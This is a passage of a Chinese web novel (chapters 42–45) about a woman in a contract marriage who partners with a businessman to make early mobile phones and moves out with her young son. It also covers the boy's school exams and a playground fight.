“这么多年了,弟弟靠女人上位的本事丝毫不减啊。” 许清则完全不觉得羞耻,“这也得有的靠才行啊,比起哥哥来说,那我确实是要幸运些。” 许绍兴随了爸爸,外型不如许清则。 所以此刻他眉眼压低,戾气很重,“吃软饭的小白脸,搔首弄姿的货。” 许清则笑了一下,“总比哥哥现在只能逞嘴上功夫的强。” 许清则承认他确实没脸没皮,但是要不是没脸没皮,怎么能走到今天这一步呢。 陆家不是看不出他人不好,但是比起许绍兴,更偏向他,也知道他至少对孩子要好些。 也干不出苛待自家妻子孩子的事。 所以此刻,许清则看着许绍兴用眼神嫌弃妻子孩子的时候,这种感觉更是达到了顶峰。 纪悠这时候到了,她看了一眼兄弟俩,只能说这真是一场酣畅淋漓的矮子里面拔高个了。 许绍兴诧异了一下,没想到人居然真的来了,他可是打了电话过去的。 他咬着牙,只觉得这个纪悠的丈夫沈总,可真是能忍的家伙。 他没好气地看了两人一眼,“现在你在的话,我的这个弟弟总算有勇气进去看一眼爸妈了。” 纪悠看了一眼许清则,因为这点明显不在合约范围内,所以她说了这是另外的价格。 价格的话,给五万都少了。 毕竟她可是帮人处理了这么麻烦的事。 她们俩一起进去后,许清则说着最近的成绩,和纪悠两人的关系。 许绍兴也不是个蠢得,他至少在商场里打拼这么多年,只是能力不足而已。 于是他道,“你们俩又不是夫妻关系,怎么能确保合作的顺利进行呢。” 只有夫妻,才是真正的利益共同体。 其他的,合作从来都不是这么稳固,应该没有谁,比商人更懂得这一点的。 所以他们俩之间,一定有什么不可告人的合约。 他的目的就是把这个合约暴露在爸妈面前。 纪悠:“因为我和他有收益五五分的合约在。” 许绍兴勾起笑容,“五五分?” 他笑容越拉越大,这天底下那有和技术人员五五分的,给她三分都嫌多了。 但是没事,就是因为这人的胃口大,所以才能让爸妈对许清则彻底失望。 纪悠笑了一下,对这份质疑完全不在乎,她选择用数据说明一切,“许清则在遇到我之前对家里带来的收益是多少?” 许绍兴更想笑了,“甚至是负的。” 从来没给家里带来过一毛钱的收益。 但这点应该还轮不到许绍兴来说,于是他这时候插嘴,许老先生就已经很不满了。 他拄着拐杖在地上敲打好几下,“你闭嘴。” 看来他真是把这个大儿子宠上天了。 许老先生看着纪悠道,“所以你是想说现在清则的收益就算五五分,也比之前强了?” 纪悠歪头疑问,“难道不是吗?” “是这样没错,但你到底还是要的太多了。” 纪悠明白这是在压价,但她的态度也很坚决,“这已经是最低的了。” 许老先生自然来到这,自然也是了解了纪悠的情况,他知道纪悠的科技水平走在世界前列。 在国内这么一个蓬勃发展的市场上面只有赚钱的份。 但是这是他辛苦拼下来的家业。 他沉默不语,仔仔细细的算了一笔账,他混浊的眼神昭示着他已经命不久矣。 这次坐飞机都是勉强来的。 所以他必须把这次的事安排妥当,他宠爱许绍兴,但大儿子是个扶不起来的,想起那笔钱依然会肉痛。 而许清则这个小儿子,靠着女人的本性依然不改。 但偏偏他还非常幸运。 许老先生叹了口气,其实他最理想的继承人不是许绍兴,也不是许清则,他看中了孙辈许言疏。 到底是大儿子太没出息,生的儿子也是个蠢货。 他闭上眼,“五五分就五五分吧。” “爸!” 许绍兴不理解,这种事怎么能答应啊,而且这潜台词还是打算把遗产和公司全都交给许清则。 这怎么可能? 早知道这样,他当初就不该念着那点骨肉之情,在那次爆炸中就直接下死手。 事情也不会到现在这一步了。 许老先生此刻看着许绍兴,满眼的恨铁不成钢,“你还有脸说。” 他宠爱自家大儿子,但比起宠爱,到底还是他打拼这么多年的商业最让他在意和放心不下。 所以这也是没办法的事。 他眼睛划过一丝狠厉,到底没再说什么。 纪悠坐在位置上看着这一场家族大战,总感觉在这场家庭戏码中她真是格格不入。 但偏偏重点还就是落在她身上。 许老先生到底还是聪明人,知道她能带给企业的远不止这些。 所以才会答应这次的条件。 确实,比起她之后能给公司带来的,这五五分成过分吗? 如果还不行的话,她可要真的去找沈介舟合作了。 她想,许老先生应该也有这方面的考量吧。 —— 沈介舟支着头,把话筒重新放回原位。 留点上面说的清清楚楚,这是家族的事,纪悠是个特例,这种为了钱财做出的家庭决定他没办法掺和。 不爽但只能忍。 他坐在位置上不动,直到中午,秘书这时候走出来,他把最新的吗消息带给他,上面说许总的公司最近要迎来大改革。 许清则放弃竞争之后,沈介舟公司里的市值也开始稳步提升。 沈介舟明白他之后确实会占据汽车市场,成为龙头老大。 但不知怎么怎么也都开心不起来。 他按照时间约定把向晨从学校里接走再送回去。 他透过后视镜能够看到向晨的不安。 因为今天是期末考试,他勉强勾起一抹笑,只有在这个时候,他才勉强能感受到他们俩是一家人的感觉。 “不用担心考的不好。” 纪向晨‘啊’了一声,他现在的水平,怎么会担心他考的不好,他担心的是他的成绩不能突然暴起惊艳众人。 他要的是从年级的倒数第一直接成为正数的前一百名。 这不怪他目标低,而是班级里一共就三百人,而他从来都没拥有过这个名次。 所以他把目标放到前一百名有什么不对。 他急促喘了几口气,就是给自己加油打气。 沈介舟看到这么可爱的反应,心情也跟着好了一点,他想了想还是鼓励道。 “如果你这次考的成绩真的不好的话,以后那就给你娟一栋楼,一栋楼不够就两栋楼,反正怎么也要给你上好学校的。” 纪向晨疑惑地‘嗯’了一声,他确实从来没有感受过来自爸爸的底气,但他就在这句话中确实体会到了一点。 他回过神来这才抱着胸道,“尽说些不吉利的话。” 他背着小书包下了车,表情严肃。 这次可不单单是成绩的问题,还是他这阵子努力的问题。 如果不行,那不是说明他就是笨嘛—— 作者有话说:最后想了想,之后打算让他们两个分居了,确实自家孩子算是受了委屈。 女主用男主当跳板的所有目的也都已经达成,男主的愧疚心和爱慕也足够让他把很大一部分的钱财留给向晨了。 两人只要有婚姻关系就可以了。 所以之后会让他们分居为结尾,然后福利番外在一起。 最后作者发现,到底继兄弟就是不可能和原生兄弟一样的,中间隔的太多了。 第 43 章 更新 纪悠签了购房文件, 依稀能听见隔壁的学校打铃声。 现在的时间,向晨应该在考期末考试。 向晨上的小学,虽然不需要验资, 但是是附近的人才能上的起的,这片是别墅区, 也就是说需要一定的资产。 她签的别墅在学校楼的马路对面。 透过玻璃窗,能看到对面的小孩上学放学。 她在新到的椅子上转了一圈,“住的着急, 看来只能将就了。” 装修上有不喜欢的地方, 但是改装还要晾几天, 耽误时间。 对小孩也不好。 她的审美方面也只能忍忍了, 一楼从今以后就是她的办公区域。 上面呢,就用来住宿好了。 纪悠揉揉眉心,显然, 采买的事情太多, 她最近也有些焦头烂额。 “累的话, 要不要去休息?” 许清则跟着打量几圈,最后摸摸鼻子,他承认他在装修这套别墅的时候审美是有点土。 但他用的都是纯粹的实木家具,稳定性和实用性那是特别好的。 纪悠摆摆手, “不用。” “倒是你,没有了这套别墅两个孩子还能在小学上学吗?” 许清则迟疑地看了她一眼, “你是不是从来没看过这个学校的校长姓什么?” 纪悠确实对这个不关注,学校的事当初是沈介舟操办的。 许清则耸了耸肩, 一脸‘算了’的表情。 反正就当是他一个人,也是有在这继续上学的资格的。 所以没必要担心。 “我虽然不住这,但我在这的房产可是有两套呢。” 一套是这, 一套是他在这用作车库,放一些暂时不喜欢用不着的车。 纪悠说话懒洋洋地,“倒是忘了,你在不亏待自己上面倒是蛮有造诣的。” 先是房子,再是车。 平日里的手表首饰也是挂满全身,总归不能在外人面前穷上一点。 两人现在在许老先生那边过了明路,虽不是遗产,但也给转行带来了丰富的资金。 “你爸妈什么时候走啊?” “应该不会走了,他们还是想在老家走完这最后一段路的。” 纪悠想想也对,许老先生的身体能不能撑到这次过年还不一定呢,也就不来回折腾了。 有钱就是好,按他这种身体状况,正常的飞机都该是不接待的才对。 “你想好我们之后要转行到哪个产业了吗?” 许清则抬眼,‘我们’两个字在嘴边打了个转,然后往前走,继续靠近了点。 纪悠貌似嫌弃,“连这种事也需要我来替你想?” 许清则感觉到的可不是这样,他感觉纪悠已经把接下来的路想好了。 而且他说什么,纪悠就能做什么吗?那她的这个能力也未免太全面了一点。 他拿着卡,这里面有国际银行的一个亿,转行到哪个行业都有一批大量的启动资金。 “你还是直说吧。” 纪悠慢悠悠地道,“那就大哥大吧。” 手机的前身,现在在沿海地区出现的比较多,大陆还少有。 对于现在的有钱人是身份的象征,之后她可以改,也可以继续发展,总归前景是不会差的。 许清则当然知道这玩意,在刚在国内流通的时候他就入手了一个。 只是他嫌弃东西太大太丑,不想带出去而已。 现在居然要做这玩意,许清则有个要求,“你能把这东西做的好看一点吗?” 纪悠的女装更不方便把东西带出去。 一个就有她胳膊一样粗了。 “当然,就是奔着这个方向去的。” 许清则又拿出自己的一套卡,“那我绝对支持你。” 纪悠稀奇地瞧了一眼,卡的拥有者确实是许清则没错。 但他天天大手大脚,公司长久靠着接济,哪来的钱? 许清则皱着眉头,“你是不是忘记前阵子你帮我又赢了沈介舟的那次了。” 在转行前又给了沈介舟一个重击,也算是出了他这些年一直惨败的恶气。 纪悠摇摇头,“不是忘记了这点,是我忘记了做生意原来这么赚钱。” 她的专利费工资不低,但和这些做生意的比起来算得了什么,她这步可真是没走错。 她抿唇笑了笑,对着许清则伸出手,“合作愉快。” “合作愉快。” 考试结束是平日里的下课铃声,纪向晨走出校门口。 现在的天气简直和他的心情一模一样。 他只知道学习,但一直硬坐着原来这么无聊,他屁股都给坐疼了要。 在放学门口,纪向晨看见了纪悠惊喜道,“妈?!” 他往前跑了两步又反应过来,“你是来接林叙白的吗?” 纪悠车钥匙挂在腰间,买了个别墅租了个办公室,钥匙多的叮当响。 她特地拿起来晃了晃,“不是,是我们要去新房子住去了。” 原先的别墅里面特地买的东西本来就不多,只是标配,现在自家买了一套,硬装不能改,那软装一定要好好琢磨琢磨。 可以去最近的批发市场去看一看。 “‘我们’是什么意思啊?!” “意思是只有我和你。” 纪向晨瞪大眼,天呐,这是真的吗? 沈介舟的车停在路边,他没闪灯提醒两人,露出的玻璃窗里能听见母子两人说话的声音。 他也原本以为纪悠是来接叙白的。 等下了车,去到纪悠身边,“现在快下雨了,还是进车子里避避吧?” 纪悠抬手,“不用了,就几步路的功夫。” “什么?” 几步路的功夫? 沈介舟茫然,他一向精明的眼神中此刻居然满是呆愣,理解不了她的意思。 纪悠指着别墅解释道,“我之后会住在那里。” 打理完备的绿化带中,能看清对面那超过五百平的别墅。 比起之前的荒芜,现在里面灯火通明,确实像是有人住的样子。 沈介舟闭上眼,如果他没记错,那是许清则的房子,“你先前说过,我们之间不会离婚。” “对啊,所以只是分居而已啊。” 分居不代表离婚,纪悠想这点差别有钱人家都能够理解吧。 “所以我们只要不离婚,我们之前的约定都还是在的吧。” 关于向晨遗产的事。 他们现在住的这样近,她会时常回去看看的,就当作监督了。 沈介舟不懂这是怎么了,怎么突然之间就产生了这样的变化,是他哪点做的不对吗? 看着一大一小两个背影逐渐远去,他顿在原地,有些不知道如何是好。 逐渐的,空气弥漫着鱼腥味。 沈介舟坐回到车上,叙白晚上会雷打不动的去陆家,叙白肯定不知道向晨今天不去了,相信所有人都对这次的结果始料未及。 包括叙白,包括他。 沈介舟迟迟的开车未走,他的秘书查到了这个别墅至少不是许清则的房产了,已经过户给纪悠。 这个的话,至少距离离婚还有段距离。 沈介舟松了口气。 纪向晨看着外面的大雨,有些许惊喜,有些许失落。 男孩子可能天生就喜欢大雨。 但是吧,“我是不是就不能去找昭然了。” 纪悠指着电话,“可以给他打电话说一下,顺道给老师请个假。”现在房子是她自己的了,“你还可以把昭然哪天叫过来玩。” “什么时候?” “上学前或者放学后。” 小孩子不都是这样的吗?背着小书包去找好朋友结伴上学放学,最好路上还说不少最新的八卦。 虽然这路程有点短,但是这份好玩的情谊应当是不会变的。 纪向晨对这个倒是没多大追求,他独来独往习惯了,以前他就一个人上下学。 看见蝴蝶就去追,看见树都去爬。 自由自在多了。 “妈,昭然每天都会坐着他姥爷的车一块到学校里来的。” 纪悠:“……” 好像有点明白许清则那句话的意思了,原来这个学校是陆家的吗? 这样来看,昭然这还算是个关系户。 纪悠莫名笑了两下,“你先打电话吧。” 现在光下雨不打雷,倒是不耽误电的使用,之后要是打雷了,可就要断电了。 纪向晨拨通了昭然的电话,他首先公布的就是他搬新房的这个消息。 陆昭然:“我以为你这次在为考的好激动呢。” 纪向晨的嘴角抿起,全程妈妈都没提这事,他都要忘了,主要还是这次的事情发生的太突然,太惊喜了。 如果把注意力回到考试上去的话。 “无论考出什么样的成绩,你只要知道发挥了我不到百分之二十的实力就行了。” 陆昭然疑惑地‘嗯’了一声,还有这种说法? 考试不就是考综合实力的吗? “那意思就是这次不能分数出来惊艳众人了?” 纪向晨:“……” 要不要这么犀利,他当初可是夸下的海口啊,但至少得比上次弄他的那三个小趴菜考的好才行。 陆昭然惊讶了一下,“他们就比你高出十名。” 怎么考试和没考试,差别这么大。 纪向晨能说吗?因为他太了解他的朋友了,他的答案对不对看昭然的脸色就能看出来了。 这就导致他在考试中变得这不确定那不确定了。 一道题涂涂改改了好几遍。 简直是灾难啊。 “不说了,我得赶紧去看看妈妈给我装修的新房间。” 这次不仅听说两人是住在附近的,就连床上的玩偶也是妈妈精心挑选的。 他是真的很期待。 纪悠倚靠在门边,看着人乱翻,她记得期末考试完等公布成绩就是正式放假了吧。 这样正好下了这么大的雨,也不着急给人添置东西了。 反正之后有的是时间。 —— 沈介舟今天一天都待在公司,如今回到家才发现属于他们的东西都被带走了。 就像是怎么来的怎么走的。 只剩下他公式化添置的那些东西。 沈介舟沉着脸,他看雨势不停,就打算去接叙白。 林叙白摸了摸淋湿的额发,“沈叔叔,向晨今天没有来,你知道是怎么回事吗?” 沈介舟没有明说,“你回到家就知道了。” 这还是沈叔叔第一次和他打哑谜,而且他的脸色是这么不好看,让他也开始心底不安了起来。 他敲了下门见无人回应,最后直接打开房门,发现没有上锁。 这很稀奇,因为两人同时住在楼下,所以只要向晨进去房间,就一定会锁门。 虽然年纪小,但已经是非常注意隐私的性格了。 等环视四周,他发现东西都不见了,就连那个代表着妈妈的玩偶也不见了,这意味着他搬出去了。 因为他一定会把这个玩偶带在身边的。 他急促转身,沈介舟拦住了他,“上面也一样。” 纪悠也走了。 这意味着林叙白被两人彻彻底底抛弃了,他记得她原先说过会抚养他。 那现在这是? “我们惹她生气了吗?” “我也不清楚。”他甚至原先比叙白还要失魂落魄些,因为他原先一直以为还有时间,还有机会来着。 结果就是这么猝不及防。 沈介舟:“或许是因为不快乐。”而她又是个特别注重自己情绪的人。 “你们会离婚吗?” “这个她保证了,不会。” 但也仅仅在于不会离婚了,沈介舟脑子有点疼,大概是雨天吧,他车祸的伤口还有曾经摔下山的伤口都隐隐作痛。 像是针扎一样刺的不行。 对于现状,他唯一能感受到的是无可奈何。 他的状态不好,叙白也是,但他是个大人,在小孩面前,永远要做个开导者的角色。 他带着人出来逛了一下,这里是卖相机的。 小孩子这个年纪似乎也是该培养兴趣爱好的年纪,向晨也是…… 沈介舟咳嗽两声,然后进了门让叙白挑。 然后就听见了向晨的声音。 “这小东西,居然这么贵?!” 随即是一道懒散的女声,“不是你说你要和昭然拥有同款的吗?” 纪向晨的语气像是在解释,又像是在撒娇,“如果我知道这么贵,我在用他的东西就会省着点用了。” “确实,那现在用自己的了,不用省着了。” 导购是个温柔的男声,“我们这买的客人都是为了培养孩子的兴趣爱好,夫人你也是吗?” “这个我不是。” 纪悠对向晨的爱好培养没有兴趣,只是孩子喜欢,就给他买了。 这就像向晨以前想要的沙包,竹蜻蜓这些东西,只是玩具而已,可以用来打发时间。 “这阵子正好是期末考试结束呢,那是给孩子的期末奖励吗?” 纪悠似有似无的眼神扫了一下导购,最后因为对方的态度确实够好,纪悠一脸‘算了’的表情。 “行了,你去招呼其他客人吧。” 导购这才离开,去了沈介舟这边,“客人你有什么要求吗?” 沈介舟点头,“就随便看看。” “这个小男孩,看起来就是个成绩好的同学,先生是给这孩子买期末奖品的吗?” 纪向晨瞪大眼睛,他把视线放在导购身上好几秒,然后又瞪着大眼睛把眼神转过来。 原本就被妈妈不在意逃过一劫了。 现在他还提还提,提的对象还是林叙白和沈介舟,天呐,天要亡他。 虽然妈妈一次两次不提,但不代表着三次不提啊。 他和妈妈的眼神骤然对视上,纪向晨讪笑着躲开。 纪悠挑了下眉,有点好笑的意味,她确实对向晨的成绩不在乎,但此刻看到人这表情,到底还是忍不住想逗弄一下。 她想,难道这就是人的劣根性。 因为真的,表情还蛮好玩的。 “向晨,你这次考试感觉怎么样?” 纪向晨选择给妈妈最低等级的预期,这样等真的成绩出来了就能惊艳妈妈,所以他的回答是,“可能还是倒数第一。” “为什么?” 先问的不是纪悠,而是林叙白,因为他记得他给了向晨猜测的题型。 安静的氛围中,林叙白似乎察觉到了一点尴尬和冒犯,然后垂下头去。 纪向晨想起这事就生气,“还不是那些题这么类似,但是数字有点又不一样。” 这比完全不像还痛苦啊,他完全记不得哪个是对的哪个是错的了。 最后的结果可不就是比完全不给还糟糕吗?记得昭然那时候还说过‘只要这张试卷上的题目会做了,那之后的题目也肯定会做了。’ 但昭然那时候不知道,他那时候没想到他完全是靠着昭然的反应做题的。 所以最后的结果就是比没有还惨。 纪向晨哼了一声,拿着相机就走了,纪悠则是停在门口看了林叙白一眼,“向晨现在的分数,我希望是实际得来的。” 至于押题这种投机的事情,她希望不要有。 如果真要有,也该是在他再长大一点懂得了自己到底想不想用的时候。 林叙白咬着唇,明白他这次是太着急了。 纪悠回到家,看着人憋在房间里不出门了,正常来说,向晨拿到一件趁手玩具,是不把他玩个底朝天是不会罢休的。 她勾了勾嘴角,然后敲了敲门,“房间里难道有什么让你拍不够的东西吗?” “才没有呢。” 纪悠索性也不给人打哑迷了,她继续敲了敲门,“我能进去吗?” 纪向晨打开了房门,纪悠看着这红红的眼眶,只觉得他真这么重视这场考试啊。 就因为成绩差会被人瞧不起? 纪悠知道,这个学校到底是有钱人的学校,那教育自然是不会差的。 成绩不够那就查漏补缺,成绩不好那就找对课老师,反正无论怎么样,都能拿个优等水平。 所以底下的那些成绩呢,也是真的低的很少。 向晨的跨越前一百名,甚至也都只敢说是联考,纪悠分析了一通,又仔细瞧了人一眼。 怎么瞧怎么看起来不像是在乎外人眼光的小孩呢。 那是她太傲慢了? 毕竟这个年纪的小孩,外人的眼光大过天。 纪悠不理解,只是摸了摸头,看人的脑袋埋在自己膝盖上,更是抚摸对方的背脊,不把视线放在对方通红的耳朵上。 等分数出来,这个时间是小学生该放假的时间,也是大学生快该期末考试的阶段。 小孩子嘛,放假到底是最早的。 纪悠意外的看到了一个人来拜访,是陆砚泉,他穿着闲散,但从口袋里露出个监考的牌子。 如果没记错,陆砚泉还在清华大学任职老师来着。 纪悠不太明白他来的目的,眼神还看了眼周围,看是不是有外人在。 其实她和陆砚泉母亲,明茹意女士还是蛮聊的来的。 结果周围没有,纪悠只能无奈道,“有什么事吗?” “是我的学生们,在考试之后我想拜托您去一趟传授一下您的人生经验。” “为什么这么说?” “我的学生很多都来自农村,家里第一个大学生,对未来迷茫,我想纪悠小姐也是从农村来的,而且凭借着自己的实力自学,拥有了一番成就。” 总而言之,就是想要给学生们来个心灵鸡汤。 纪悠理解了,她可以答应,但她有个要求。 就是,“我想先去你家的小学也讲讲看。”这下不用人问她就想好了借口,“毕竟这个年纪的小孩就是开发兴趣的时候,我的经历或许能让有些孩子对这方面感兴趣,然后再多出来几个科学家呢。” 这一段水分颇多,她想要的只是给向晨撑场面而已。 有个国家级技术员的妈妈在,她想现在整个都城应该没有做产品的公司想和这样的人过不去。 昭然是那种放养,谁都不知道底牌,还被欺负了的孩子。 可她家向晨,她不想让他那样长大。 第 44 章 更新 纪悠从思索中回过神来, 她嘴角轻勾,“我想我是有这个资格的吧。” 陆砚泉表情不显,但心底还是很激动的, “你当然有这个资格,我们每年确实都要请一批人才过来演讲的。” 小孩子的兴趣发展, 一直是小学生的课题作业。 他并不支持孩子们死读书。 有空多看看课外书,培养一下兴趣,才有一双更善于发现的眼睛, 更好的挖掘自身天赋。 纪小姐的这些话当真说到他心坎里了。 纪悠明显感受到对方的眼神变得更热切了, 甚至还提出了要来接她的想法。 那这就不必了, 她家距离学校这么近, 根本不需要大费周章的让人专门跑一趟。 还不够浪费时间的。 家长会已经开过了,这次期末都是学生,说是集合, 其实就是举办晚会。 学生们是个爱玩爱闹的性子, 这临近放假, 这点特质更是被体现的淋漓尽致。 老师们忙的不可开交,纪悠喝着茶穿插其中,遇见一个刚刚回来的老师,他额头汗湿, 神态乏的厉害。 “要喝口水吗?温的。” 文老师直接一口下去,缓解了干涩的喉咙。 “多谢了。” 纪悠多给人寒暄了一句, “请问你贵姓?” 文老师没见过纪悠,但今天请的人多, 没见过这事实在太正常了,于是他顺着回道,“免贵姓文。” 纪悠又给人倒了一大杯水, “那文老师,其实我是想拜托你帮我一个忙,有时间吗?” —— 学校里的成绩出来了,有人喜有人忧,纪向晨就属于忧的那个。 每个人一个成绩单,除了本校排名,旁边还有联考排名。 所以这已经是他的第一百零八次叹气了。 陆昭然也不明白为什么会这样,他们俩学的还蛮努力的啊。 他看着人叹息也都忍不住想叹气了,但旁边来了个人,不对,准确地来说,是三个人。 纪向晨显然也注意到了,主要是阳光都被遮住了,他想不注意到都难。 他原先没想着往找茬身上去,因为他们三个知道他们三个加起来也打不过他。 他们因为打不过不喜欢纪向晨,纪向晨也因为他们当初的污蔑不喜欢他们。 但因为到底是一个班,那次之后只能憋屈的过上了抬头不见低头见的日子。 所以现在?是要忍不住了吗? 纪向晨挺起胸膛,“干嘛?” “来看你考多少,倒数第一。” 三人之首刘柯泽这些日子也不是白和人一个班,他知道对方近期特别在意成绩。 但成绩呢,肉眼可见的差。 所以他们能放过这个方面嘲讽的机会才怪呢。 纪向晨亮出他的排名和分数,“不多,反正现在的我得比现在的你强点。” 联考排名进步了五十名,但是在这个学校,超过的只有三人组,这也算是倒霉中稍微带了一点庆幸吧。 纪向晨昂着下巴,有一刻感觉到他至少没白学。 刘柯泽原本是倒数第一,但是纪向晨来了就成了倒数第二,现在呢,他也是倒数第二。 理所应当的,他就这么认为了。 此刻,三人组的一人举起手,“这次的倒数第一是我。” 刘柯泽气愤地踢了人一脚,“你怎么不早说。” 小弟敢怒不敢言,关键你也没说是用学习来找纪向晨的事啊。 吓退了三人组之后,纪向晨无所事事的体会学校的聚餐,首先放进嘴里的就是瓜子和糖果。 他看了一眼学校后台,他是知道的,妈妈在那里。 纪悠是等老师组织好纪律才出现的,在外人看来,她拿了两块板砖,但是只有纪悠知道,她这是做的手机前身。 改变了大哥大赘余的电池,换成了更轻便款的。 “我不信,我见过大哥大,他不长这样。” “我也不信,这么小的一块,就能做这么复杂的事。” 纪悠晃了晃手上的东西,“那要不要来试试?” 她能从孩子们眼中看到兴奋和跃跃欲试,主要是这种东西太过新奇。 就算是家里有大哥大的,也都是被爸妈放着,他们可不能乱碰,但现在有人给他们说,可以直接体验。 那新奇感直接拉满,班里的学生纷纷举手。 纪悠找到拐角处的纪向晨,“你来吧。” 纪向晨也兴奋,他都不知道妈妈居然在搞这么厉害的东西,他兴奋的跑到前面然后问,“我要怎么做?” “你就蒙上眼睛,教室后面的人会把手上的横幅语念出来,你也说出来好了。” 两人之间的距离够远,声音根本传输不到,又看不到口语和字,这样就能证明,两人确实实现了交流和共通。 这是给小孩体现的最直接的法子。 纪向晨完成的很好,虽然他成绩不好,但在交流中还蛮聪明的,而且对他认为有趣的事情从来都是念念不忘。 于是他高昂起头,一字一句甚至不需要对面的人重复。 等他挂断电话下台,同学们都七嘴八舌的凑上来。 “向晨同学,是真的能实现聊天吗?” “向晨同学,你这也太好玩了吧。” “向晨同学,真羡慕你啊。” 纪向晨笑着挠挠头,以往来到这个班,因为是中途转学,什么好友、三人组都是已经固定了的事。 他和昭然多少有点被排挤了,所以这还是开学之后他第一次被这么多人围在身边。 也是他人生中第一次这么受欢迎。 他的表情瞬间从惊讶的瞪大眼睛变成了笑眯眯的飘飘然。 “等等,你是他妈,说不定你们俩串通好的呢。” 一道质疑的声音响起,纪悠瞧了一眼,发现果然是先前那个刘柯泽。 毕竟没办法,没人会关注到同学母亲长什么样子,但是他们三个,很明显对她印象深刻。 纪悠递过去手机,“你也可以试一下,给你爸爸打个电话吧。” 刘柯泽不知道是不想打,还是真不记得了,反正他双手直接一插,“我不记得我爸的手机号码了。” “没事,按重播键就好了。” 纪悠才刚刚打过。 刘柯泽吓得不轻,他直接拨通电话,就听见对面直接提出三个要求。 “1,别得罪纪小姐。 2,别得罪纪向晨。 3,最好和纪向晨交好。” 刘柯泽瞪大眼睛,他爸这是怎么了?这还是他爸吗? 他爸这么桀骜不驯的一个人,现在让他亲儿子去在另一家家人面前忍气吞声。 刘柯泽怀疑人生,随后忍不住道,“你是假冒的吧。” “我知道你屁股上有个胎记也是假冒的?” 刘柯泽不服气,“这种事去我出生的医院查也能查的出来。” “我知道你八岁还尿床也是假冒的?!” “这种事去买通我家的佣人也是能知道的。” 刘爸耐心被耗尽,显然也不惯着他了,“臭小鬼,我看你才是那个假冒的!” 刘柯泽:“……” 完蛋了,这态度,绝对是真的,只有他爸,才能这么没个爸的德性,像个小孩子一样的幼稚。 经过这事,他该不会给自己断生活费吧? 刘柯泽强撑着抬头,他爸刚刚就说了不能得罪纪悠和纪向晨,那他刚刚挑衅已经得罪了,现在只能缓和了。 于是他昂着下巴,不情不愿地道,“对面确实是我爸。” 纪向晨‘切’了一声,“那当然,我妈做的东西那还能有假。” 刘柯泽咬牙,这绝对算是狐假虎威了吧。 不然的话,刚刚只考过他们三个,还在怂了吧唧的纪向晨,现在怎么变得这么硬气了? 他不服输道,“那你妈妈这么聪明,怎么生出来的你这么笨。” 纪向晨:“啊?!” —— 纪悠解决完教室的问题后,就出来沿途看看风景。 学校里的绿化从来做的都是不错的,她在二楼休息眺望窗外的时候有时候能看到,在最中间的音乐教室用的还是欧式建筑。 她走进去看,里面还摆放着钢琴。 只能说,不愧是有钱人的小学啊。 按照陆砚泉的话来说,这个地方是六年级升学典礼这样的时刻才能用到的地方,简而言之,就是比较隆重才可以。 纪悠往前走,然后就看到了她的丈夫。 至少名义上算是,纪悠抚着桌子走过去,“你在这里干嘛?” 沈介舟转头,“我受邀来给孩子们讲一下讲座。” 讲座名字叫什么?成功学吗? 反正是和白手起家,创业有关的。 纪悠挑眉,从某种程度上来说两人被邀请来的缘由差不多。 只是这地方似乎是错了,还有一个点,就是陆砚泉既然邀请了她,那她竟然不是压轴的。 有点不爽。 沈介舟解释说,“这种小孩子的聚会,时间有限,越往后越有可能取消,所以放到前面的自然才是最重要的。” 纪悠思索了下,算是勉强接受了这个解释。 毕竟她按照时间顺序,是绝对的第一。 她正打算跟人说正确地点呢,没想到刚刚找到的文老师却跑了过来,“纪小姐,你快去看看吧,你儿子又和上次的那个小孩打起来了。” 纪悠:“……” 她才走了一小会吧?带小孩真是一件刺激的事。 第 45 章 更新 纪悠脚步不疾不徐, 向晨他不会吃亏的,不光是武力值,还是嘴炮能力。 但是, 她对着沈介舟轻笑着说,“处理这事, 我不如你这个后爸有经验。” 她唯一一次处理过学校的家长纠纷,她直接把孩子从学校带走了。 而沈介舟可是处理过两次。 “先前有一半是你帮着处理的。” “如果是这次的话,我还是欣赏你直接拿钱解决的能力的。” 毕竟这次无论怎么看, 向晨犯的错都是实打实的。 她走到办公室前, 从窗户就可以看到里面的人不少, 大概是期末考试这么开心的日子, 发生打人的事实在稀罕。 围在外头的人除了老师还有一部分小孩呢。 在外面探头探脑的有点好玩。 他们的表情带着惊叹,纪悠在想他们或许在惊叹有人可以这么勇。 整个寒假不想好好过了吗? 不是她多想,而是小孩的心情根本藏不住。 沈介舟在前面, 纪悠就跟在身后, 到底是身材比她高大, 用来开路刚刚好。 沈介舟回头看了一眼,得到了一个无辜的轻笑。 等纪悠进来之后,她直接找到了纪向晨,然后轻轻地摸了摸他的脸, “真可怜啊,这颧骨都被打的破皮了。” “那是他打完人之后不小心摔得。” “是吗?那就更危险了, 差一点就伤到眼睛了。” 老师惊奇,她还是第一次看到这样纵容孩子的家长, 这样的话,是不是太溺爱了啊! 全程被压着打的刘柯泽也和老师一个看法。 “这位家长,你要不要看看我的惨状, 我的牙都差点被打掉一颗。” 纪悠瞧了人一眼,伤是真的,衣服的破损也是真的。 看来这两人这次发生的纠纷还蛮大的嘛。 但她不在乎。 “就当是上次你污蔑向晨的事抵消了吧。” 纪悠可从头到尾没忘记这件事呢,简单的认错还是不行的。 刘柯泽被冷漠的眼神吓了一跳,这个好像,确实。 再加上有他老爸的叮嘱,他可不敢在纪悠和纪向晨面前随意造次了。 纪悠不轻不重的语调响起,“那既然达成和解了,那可真是皆大欢喜。” 那连对方的医药费都不要赔了。 现在纪悠只需要担心一件事,“那我就带我家孩子去做检查了,毕竟这外表看不出来,别受了什么内伤。” 她的意思是是时候结束了,不用继续在学校里待了。 但显然纪向晨误解了,他想到那种苦苦的药就觉得浑身难受,而且,这还是对他实力的一种质疑。 “妈妈,我没事的。” 如果妈妈需要,他还能给人做好几个后空翻。 纪悠觉得好笑,晃了一下车钥匙,“药是炸鸡的话也不吃吗?” 纪向晨眼睛一亮,“那还是要吃的。” 他们还没走远,所以对话的声音也是一句一句的传到办公室里面来。 教导主任忍不住看向遗留在场的沈介舟,这位孩子爸爸,既然妈妈是溺爱党,那爸爸就该承担起严父的角色。 他看人面相也确实符合这个形象。 他正打算跟人好好说说,但一抬眼,沈介舟正侧头听着外面的话,露出了个温柔的笑。 教导主任:“……” 他的潜意识告诉他事情有点不太对。 “孩子频繁地发生殴打事件,做家长的更该严格管教,我们学校是有我们学校的规矩的。” 沈介舟背靠在沙发上,脸上挂着笑容,恢复了平日里谈生意的姿态。 “如果一栋楼不够的话,两栋可以吗?” 教导主任一惊,然后真的在慈善事业上找到了对方的名字。 那不对啊,孩子那也应该跟父亲姓‘沈’啊。 “他随妈姓,姓纪。” 沈介舟想到这事,莫名地笑了一下。 教导主任擦了下汗,“原来如此。” 